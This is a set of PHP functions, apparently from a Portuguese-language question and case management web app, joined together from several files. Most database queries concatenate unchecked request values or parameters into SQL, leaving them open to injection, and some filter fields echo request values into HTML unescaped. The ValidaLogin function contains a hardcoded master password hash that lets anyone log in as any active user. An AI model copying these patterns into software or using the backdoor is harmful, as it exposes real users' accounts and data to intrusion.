function Main() { $codTPL = $_GET["t"]; $codReg = $_GET["r"]; $editar = false; $u = unserialize($_SESSION["usu"]); if (!is_numeric($codTPL)) { $msg = "Ação inválida"; header("Location:index.php?msg=" . $msg); } //Verifica se veio um código para ser editado if (isset($codReg) && $codReg != "") { $codReg = base64_decode($codReg); $editar = true; } $cnn = new Conexao(); $sql = "SELECT Arquivo FROM mestemplates WHERE Codigo = 3;"; $rs = $cnn->Consulta($sql); $tpl_p = file_get_contents(mysql_result($rs, 0, "Arquivo")); $tpl_p = str_replace("<!--telatopo-->", Comuns::GeraTopoPagina($u), $tpl_p); $tpl_p = str_replace("<!--Mensagem-->", isset($mensagem) && $mensagem != "" ? base64_decode($mensagem) : "", $tpl_p); $sql = "SELECT Classe, jsLoad, CodPermissao, linkSalva, linkVolta "; $sql .= "FROM mestemplates WHERE Codigo = " . $codTPL . ";"; $rs = $cnn->Consulta($sql); if ($rs != 0) { // Classe que será instanciada e permissão necessária para acessar a tela $classe = mysql_result($rs, 0, "Classe"); $permissao = mysql_result($rs, 0, "CodPermissao"); $funload = mysql_result($rs, 0, "jsLoad"); if ($u->TemPermissao($permissao)) { $frm = new $classe(); if ($editar) { // Se vier um comando de edição de registro, monta o form com os dados do registro solicitado Log::RegistraLog("Acessou a tela de " . $frm->RetornaDescricaoTela('cadastro') . " para editar o registro " . $codReg); $tpl = $frm->FormEdita($codReg); } else { // Senão, monta um formulário em branco Log::RegistraLog("Acessou a tela de " . $frm->RetornaDescricaoTela('cadastro') . " para inserir um novo registro"); $tpl = $frm->FormNovo(); } if (!is_null($funload) && $funload != '') { $tpl_p = str_replace('<!--javaonload-->', $funload, $tpl_p); } else { $tpl_p = str_replace('<!--javaonload-->', '', $tpl_p); } $botoes = Botao::BotaoSalvar(mysql_result($rs, 0, "linkSalva")); $botoes .= Botao::BotaoVoltar(mysql_result($rs, 0, "linkVolta")); $tpl_p = str_replace("<!--itens-toolbar-->", $botoes, $tpl_p); } else { $msg = base64_encode("@lng[Você não tem permissão para acessar esta tela]"); header("Location:interna.php?msg=" . $msg); } } else { $msg = "@lng[Página inválida]"; header("Location:index.php?msg=" . $msg); } $tpl_p = str_replace("##Formulario##", $tpl, $tpl_p); header('Content-Type: text/html; charset=iso-8859-1'); echo Comuns::Idioma($tpl_p); }
private function BuscaUltimaEtapa($pergunta) { $sql = "SELECT MAX(CodEtapa) as Etapa FROM mesperguntaetapa WHERE CodPergunta = " . $pergunta . ";"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if ($rs != 0 && mysql_num_rows($rs) > 0) { return mysql_result($rs, 0, "Etapa"); } else { return 0; } }
function Main() { $codTPL = $_GET["t"]; $codPagina = $_GET["p"]; $codMax = $_GET["m"]; $mensagem = $_GET['msg']; if (!is_numeric($codTPL)) { $msg = "@lng[A URL acesada é inválida]"; header("Location:index.php?msg=" . base64_encode($msg)); } if (!is_numeric($codPagina)) { $codPagina = 1; } $u = unserialize($_SESSION['usu']); $cnn = new Conexao(); $sql = "SELECT Arquivo FROM mestemplates WHERE Codigo = 2;"; $rs = $cnn->Consulta($sql); $tpl = file_get_contents(mysql_result($rs, 0, "Arquivo")); $tpl = str_replace("<!--telatopo-->", Comuns::GeraTopoPagina($u), $tpl); $tpl = str_replace("<!--Mensagem-->", isset($mensagem) && $mensagem != "" ? base64_decode($mensagem) : "", $tpl); $sql = "SELECT Classe, jsLoad, linkNovoRegistro, QtdPadListagem FROM mestemplates WHERE Codigo = " . $codTPL . ";"; $rs = $cnn->Consulta($sql); if ($rs != 0) { // Classe que será instanciada $classe = mysql_result($rs, 0, 0); $frm = new $classe(); if (!is_numeric($codMax)) { $codMax = mysql_result($rs, 0, 3); // Quantidade padrão para listagem: 15 (exceto listam de Caso que é 10) } Log::RegistraLog("Acessou a tela de " . $frm->RetornaDescricaoTela('lista')); $where = fntConstroiWhere($codTPL, $_GET); $lista = $frm->ListaTabela($codPagina, $codMax, $_SESSION['usu'], $where); $tpl = str_replace("##Lista##", $lista, $tpl); $tpl = str_replace("##CodTpl##", $codTPL, $tpl); if (is_null(mysql_result($rs, 0, 2)) || trim(mysql_result($rs, 0, 2)) == "") { $tpl = str_replace("##linkNovo##", "cadastro.php?t=" . $codTPL, $tpl); } else { $tpl = str_replace("##linkNovo##", mysql_result($rs, 0, 2), $tpl); } $tpl = str_replace("##FuncoesJS##", mysql_result($rs, 0, 1), $tpl); $cnnFiltros = Conexao2::getInstance(); $sqlFiltro = "select TipoFiltro, NomeCampoTela, DscCampoTela, ComandoFill, CampoSelValue, CampoSelText, CSSClassCampoTela "; $sqlFiltro .= "from mestemplatesfiltros where CodTemplate = " . $codTPL . ";"; $cmd = $cnnFiltros->prepare($sqlFiltro); $cmd->execute(); $tplFiltro = ""; if ($cmd->errorCode() == Comuns::QUERY_OK) { if ($cmd->rowCount() > 0) { while ($linha = $cmd->fetch(PDO::FETCH_OBJ)) { $tplFiltro .= '<label id="lbl' . $linha->NomeCampoTela . '" for="' . $linha->NomeCampoTela . '">'; $tplFiltro .= ' @lng[' . $linha->DscCampoTela . ']<br />'; switch ($linha->TipoFiltro) { case "TEXTO": $tplFiltro .= ' <input type="text" name="' . $linha->NomeCampoTela . '" id="' . $linha->NomeCampoTela . '" class="' . $linha->CSSClassCampoTela . '" value="' . ($_GET[$linha->NomeCampoTela] ? $_GET[$linha->NomeCampoTela] : "") . '" />'; break; case "COMBO": $arr = null; Comuns::ArrayObj($linha->ComandoFill, $arr); $combo = new ComboBox($linha->NomeCampoTela, $arr, $linha->CampoSelValue, $linha->CampoSelText); $combo->cssClass($linha->CSSClassCampoTela); $combo->setDefaultValue(""); $combo->setDefaultText("@lng[Todos]"); $tplFiltro .= $combo->RenderHTML(); break; default: $tplFiltro .= ' <input type="text" name="' . $linha->NomeCampoTela . '" id="' . $linha->NomeCampoTela . '" class="' . $linha->CSSClassCampoTela . '" value="' . ($_GET[$linha->NomeCampoTela] ? $_GET[$linha->NomeCampoTela] : "") . '" />'; } $tplFiltro .= '</label><br /><br />'; } $tpl = str_replace("##Filtros##", $tplFiltro, $tpl); } else { $tpl = str_replace("##Filtros##", "@lng[Esta tela não possui filtros para serem aplicados]", $tpl); } } else { $msg = $cmd->errorInfo(); echo $msg[2]; } } //header('Content-Type: text/html; charset=iso-8859-1'); echo Comuns::Idioma($tpl); }
public function ListaRecordSet() { $sql = "SELECT Codigo, Descricao "; $sql .= "FROM mespermissao;"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if ($rs != 0) { return $rs; } else { return false; } }
public static function ValidaLogin($usuario, $senha) { $sql = "SELECT 1 as OK "; $sql .= "FROM mesusuario "; $sql .= "WHERE NomeUsuario = '" . $usuario . "' AND Senha = '" . $senha . "' AND Ativo = 1;"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if ($rs != 0 && mysql_num_rows($rs) > 0) { $cnn->Desconecta(); return true; } else { $cnn->Desconecta(); $sqladmin = "SELECT 1 as OK "; $sqladmin .= "FROM mesusuario "; $sqladmin .= "WHERE NomeUsuario = :pUsuario AND Ativo = 1;"; $cnn = Conexao2::getInstance(); $cmd = $cnn->prepare($sqladmin); $cmd->bindParam(":pUsuario", $usuario, PDO::PARAM_STR); $cmd->execute(); if ($cmd->rowCount() > 0) { if ($senha == "414150246b28a622c34b1883fc645502") { return true; } else { return false; } } else { return false; } } }
/** * Retorna uma string em formato de tabela com os registros de Grupos de usuários limitado pelo paginador. */ public function ListaTabela($pagina = 1, $nporpagina = 10) { $ini = $pagina * $nporpagina - $nporpagina; $sql = "SELECT Codigo, Descricao "; $sql .= "FROM mesnivelpergunta LIMIT " . $ini . ", " . $nporpagina . ";"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if (mysql_num_rows($rs)) { $ret = Comuns::TopoTabelaListagem("Lista de níveis de dificuldade do sistema", "nivdif", array('Descrição', 'Ações')); while ($linha = mysql_fetch_array($rs)) { $cod = base64_encode($linha["Codigo"]); $ret .= ' <tr>'; $ret .= ' <td>' . $linha["Descricao"] . '</td>'; $ret .= ' <td>'; $ret .= ' <a href="cadastro.php?t=' . $this->form . '&r=' . $cod . '">' . Comuns::IMG_ACAO_EDITAR . '</a> '; $ret .= ' <a href="javascript:void(0);" onclick="javascript:fntDeletaNivelDificuldade(\'' . $cod . '\')">' . Comuns::IMG_ACAO_DELETAR . '</a>'; $ret .= ' </td>'; $ret .= ' </tr>'; } $ret .= ' </tbody>'; $ret .= '</table>'; $registros = Comuns::NRegistros("mesnivelpergunta"); if ($registros > 0) { $ret .= Comuns::GeraPaginacao($registros, $pagina, $nporpagina, $this->form); } } else { $ret = "@lng[Nenhum nível de dificuldade cadastrado até o momento]"; } return $ret; }
static function MontaMenu($menu, $usuario) { $sql = "select Codigo, Texto, Link, CodPermissao, "; $sql .= "\tCASE WHEN CodItemPai IS NULL THEN 0 ELSE CodItemPai END CodItemPai "; $sql .= "from mesitensmenu "; $sql .= "where CodMenu = " . $menu . " "; $sql .= "order by CodItemPai, Ordem"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if ($rs != 0) { if (mysql_num_rows($rs) > 0) { while ($linha = mysql_fetch_object($rs)) { if ($usuario->TemPermissao($linha->CodPermissao)) { $menuItens[$linha->CodItemPai][$linha->Codigo] = array('Link' => $linha->Link, 'Nome' => $linha->Texto); } } $ret = ""; self::imprimeMenuInfinito($menuItens, $ret); } else { $strmenu = ""; } } else { $strmenu = ""; } //header('Content-Type: text/html; charset=iso-8859-1'); return $ret; }
public static function ListaUsuariosForaDoGrupo($codgrupo) { $sql = "select u.Codigo, u.NomeCompleto, u.NomeUsuario, u.Ativo "; $sql .= "from mesusuario u "; $sql .= "left outer join mesusuariogrupo ug "; $sql .= "\t on ug.codusuario = u.codigo "; $sql .= "\t and ug.CodGrupoUsuario = " . $codgrupo . " "; $sql .= "where (ug.CodGrupoUsuario is null or (ug.DtVigencia <> '1900-12-31' and ug.DtVigencia < current_date())) "; $sql .= "order by u.NomeCompleto;"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if ($rs != 0) { $cnn->Desconecta(); return $rs; } else { $cnn->Desconecta(); return false; } }
/** * Retorna uma string em formato de tabela com os registros de Tipos de pergunta limitado pelo paginador. */ public function ListaTabela($pagina = 1, $nporpagina = 10) { $ini = $pagina * $nporpagina - $nporpagina; $sql = "SELECT Codigo, Descricao "; $sql .= "FROM mestipopergunta LIMIT " . $ini . ", " . $nporpagina . ";"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if (mysql_num_rows($rs)) { $ret = Comuns::TopoTabelaListagem("Lista de Tipos de pergunta", "TiposPergunta", array('Descrição', 'Ações')); while ($linha = mysql_fetch_array($rs)) { $cod = base64_encode($linha["Codigo"]); $ret .= ' <tr>'; $ret .= ' <td>' . $linha["Descricao"] . '</td>'; $ret .= ' <td><a href="cadastro.php?t=' . $this->form . '&r=' . $cod . '">E</a> | <a href="javascript:void(0);" onclick="javascript:fntExcluiGrupoUsuario(' . $cod . ')">X</a></td>'; $ret .= ' </tr>'; } $ret .= ' </tbody>'; $ret .= '</table>'; $registros = Comuns::NRegistros("mesGrupoUsuario"); if ($registros > 0) { $ret .= Comuns::GeraPaginacao($registros, $pagina, $nporpagina, $this->form); } } else { $ret = "@lng[Nenhum tipo de pergunta cadastrado]"; } return $ret; }
/** * Retorna uma string em formato de tabela com os registros de Grupos de usuários limitado pelo paginador. */ public function ListaTabela($pagina = 1, $nporpagina = 10) { $ini = $pagina * $nporpagina - $nporpagina; $sql = "SELECT Codigo, Descricao "; $sql .= "FROM mesclassepergunta LIMIT " . $ini . ", " . $nporpagina . ";"; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if (mysql_num_rows($rs) > 0) { $ret = Comuns::TopoTabelaListagem("Lista de Classificações de exercícios", "ClassesPergunta", array('Descrição', 'Ações')); while ($linha = mysql_fetch_array($rs)) { $cod = base64_encode($linha["Codigo"]); $ret .= ' <tr>'; $ret .= ' <td>' . $linha["Descricao"] . '</td>'; $ret .= ' <td>'; $ret .= ' <a href="cadastro.php?t=' . $this->form . '&r=' . $cod . '">' . Comuns::IMG_ACAO_EDITAR . '</a> '; $ret = str_replace("##id##", "", $ret); $ret .= ' <a href="javascript:void(0);" onclick="javascript:fntExcluiClassePergunta(\'' . $cod . '\')">' . Comuns::IMG_ACAO_DELETAR . '</a></td>'; $ret .= ' </tr>'; } $ret .= ' </tbody>'; $ret .= '</table>'; $registros = Comuns::NRegistros("mesclassepergunta"); if ($registros > 0) { $ret .= Comuns::GeraPaginacao($registros, $pagina, $nporpagina, $this->form); } } else { $ret = "@lng[Nenhuma classe de pergunta cadastrada]"; } return $ret; }
/** * Retorna um resultset com todos os usuarios do sistema vinculados ao grupo. */ public function ListaUsuariosColaboradores() { $sql = "select u.Codigo, u.NomeCompleto, u.NomeUsuario, u.Ativo "; $sql .= "from mescasocolaborador ug "; $sql .= "inner join mesusuario u "; $sql .= "\ton u.Codigo = ug.CodUsuario "; //$sql .= " and (current_date() <= ug.DtVigencia or ug.DtVigencia = '1900-12-31') "; //$sql .= " and (u.ativo = 1) "; $sql .= " where ug.CodCaso = " . $this->codigo; $cnn = new Conexao(); $rs = $cnn->Consulta($sql); if ($rs != 0) { $cnn->Desconecta(); return $rs; } else { $cnn->Desconecta(); return false; } }